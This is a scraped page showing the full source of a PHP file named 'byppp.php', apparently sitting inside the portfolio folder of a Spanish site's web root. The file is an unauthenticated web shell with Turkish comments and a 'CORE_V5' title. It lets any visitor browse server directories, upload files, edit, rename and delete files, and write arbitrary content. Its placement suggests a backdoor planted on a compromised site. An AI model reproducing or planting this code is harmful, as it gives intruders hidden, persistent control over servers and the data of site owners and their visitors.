PATH:
var
/
www
/
vhosts
/
lahuertaatomica.es
/
httpdocs
/
store
/
portfolio
/
Editing: byppp.php
<?php /** * CORE_V5 - Yeniden Yapılandırılmış Sürüm * İşlevsellik: %100 Aynı */ // Hata Raporlama ini_set('display_errors', '1'); error_reporting(E_ALL); // --- 1. DİZİN VE YOL YÖNETİMİ --- $current_dir = isset($_GET['d']) ? realpath(str_replace(['\\', '/'], DIRECTORY_SEPARATOR, $_GET['d'])) : getcwd(); if (!$current_dir || !is_dir($current_dir)) { $current_dir = getcwd(); } // --- 2. DOSYA İŞLEMLERİ (MOTOR) --- function handle_actions($dir) { if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_POST['a'])) return; $action = $_POST['a']; $target = isset($_POST['i']) ? basename($_POST['i']) : (isset($_POST['old']) ? basename($_POST['old']) : ''); $path = $dir . DIRECTORY_SEPARATOR; switch ($action) { case 'upload': if (isset($_FILES['f'])) { move_uploaded_file($_FILES['f']['tmp_name'], $path . basename($_FILES['f']['name'])); } break; case 'mkdir': if (!empty($_POST['n'])) @mkdir($path . basename($_POST['n']), 0755); break; case 'mkfile': if (!empty($_POST['nf'])) file_put_contents($path . basename($_POST['nf']), ''); break; case 'rm': $p = $path . $target; is_dir($p) ? @rmdir($p) : @unlink($p); break; case 'rename': if (!empty($_POST['new'])) @rename($path . $target, $path . basename($_POST['new'])); break; case 'save': if (!empty($_POST['fn'])) file_put_contents($path . basename($_POST['fn']), $_POST['c']); break; } header("Location: ?d=" . urlencode($dir)); exit; } handle_actions($current_dir); // --- 3. VERİ HAZIRLIĞI --- $items = array_diff(scandir($current_dir), ['.', '..']); $edit_file = (isset($_GET['edit']) && file_exists($current_dir . DIRECTORY_SEPARATOR . basename($_GET['edit']))) ? basename($_GET['edit']) : null; ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <title>CORE_V5 // <?php echo basename($current_dir); ?></title> <style> body { background: #0a0a0a; color: #00ff41; font-family: 'Courier New', monospace; font-size: 13px; margin: 20px; } .container { border: 1px solid #333; padding: 15px; background: #000; } a { color: #00ff41; text-decoration: none; } a:hover { background: #00ff41; color: #000; } .path-bar { background: #111; padding: 10px; margin-bottom: 20px; border-left: 4px solid #00ff41; font-weight: bold; } table { width: 100%; border-collapse: collapse; } th { text-align: left; color: #666; border-bottom: 1px solid #333; padding: 10px; } td { padding: 8px 10px; border-bottom: 1px solid #111; } tr:hover { background: #111; } .btn { background: none; border: 1px solid #00ff41; color: #00ff41; padding: 3px 8px; cursor: pointer; font-size: 11px; display: inline-block; } .btn:hover { background: #00ff41; color: #000; } input[type=text], textarea { background: #000; border: 1px solid #333; color: #00ff41; padding: 4px; } .toolbar { margin-top: 20px; padding-top: 15px; border-top: 1px solid #333; display: flex; gap: 10px; flex-wrap: wrap; } </style> </head> <body> <div class="container"> <div class="path-bar"> PATH: <?php $path_parts = explode(DIRECTORY_SEPARATOR, trim($current_dir, DIRECTORY_SEPARATOR)); $cum = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; foreach ($path_parts as $part) { $cum .= $part . DIRECTORY_SEPARATOR; echo '<a href="?d=' . urlencode(rtrim($cum, DIRECTORY_SEPARATOR)) . '">' . htmlspecialchars($part) . '</a> / '; } ?> </div> <?php if ($edit_file): ?> <h3>Editing: <?php echo htmlspecialchars($edit_file); ?></h3> <form method="post"> <input type="hidden" name="a" value="save"> <input type="hidden" name="fn" value="<?php echo htmlspecialchars($edit_file); ?>"> <textarea name="c" style="width:100%; height:400px;"><?php echo htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $edit_file)); ?></textarea> <br><br> <button type="submit" class="btn">SAVE</button> <a href="?d=<?php echo urlencode($current_dir); ?>" class="btn">CANCEL</a> </form> <?php else: ?> <table> <thead> <tr><th>NAME</th><th>SIZE</th><th style="text-align:right">ACTIONS</th></tr> </thead> <tbody> <?php foreach ($items as $item): $full_path = $current_dir . DIRECTORY_SEPARATOR . $item; $is_dir = is_dir($full_path); ?> <tr> <td><?php echo $is_dir ? '📁' : '📄'; ?> <?php if ($is_dir): ?> <a href="?d=<?php echo urlencode($full_path); ?>"><?php echo htmlspecialchars($item); ?>/</a> <?php else: ?> <?php echo htmlspecialchars($item); ?> <?php endif; ?> </td> <td><?php echo $is_dir ? 'DIR' : round(filesize($full_path)/1024, 2) . ' KB'; ?></td> <td style="text-align:right"> <form method="post" style="display:inline"> <input type="hidden" name="a" value="rename"> <input type="hidden" name="old" value="<?php echo htmlspecialchars($item); ?>"> <input type="text" name="new" placeholder="New" style="width:70px; font-size:10px"> <button type="submit" class="btn">REN</button> </form> <?php if (!$is_dir): ?> <a class="btn" href="?d=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($item); ?>">EDIT</a> <?php endif; ?> <form method="post" style="display:inline" onsubmit="return confirm('Delete?')"> <input type="hidden" name="a" value="rm"> <input type="hidden" name="i" value="<?php echo htmlspecialchars($item); ?>"> <button type="submit" class="btn" style="color:#ff3333; border-color:#ff3333">DEL</button> </form> </td> </tr> <?php endforeach; ?> </tbody> </table> <div class="toolbar"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="a" value="upload"> <input type="file" name="f" class="btn"> <button type="submit" class="btn">UPLOAD</button> </form> <form method="post"> <input type="hidden" name="a" value="mkdir"> <input type="text" name="n" placeholder="Folder"> <button type="submit" class="btn">NEW DIR</button> </form> <form method="post"> <input type="hidden" name="a" value="mkfile"> <input type="text" name="nf" placeholder="File.txt"> <button type="submit" class="btn">NEW FILE</button> </form> </div> <?php endif; ?> </div> </body> </html>
SAVE
CANCEL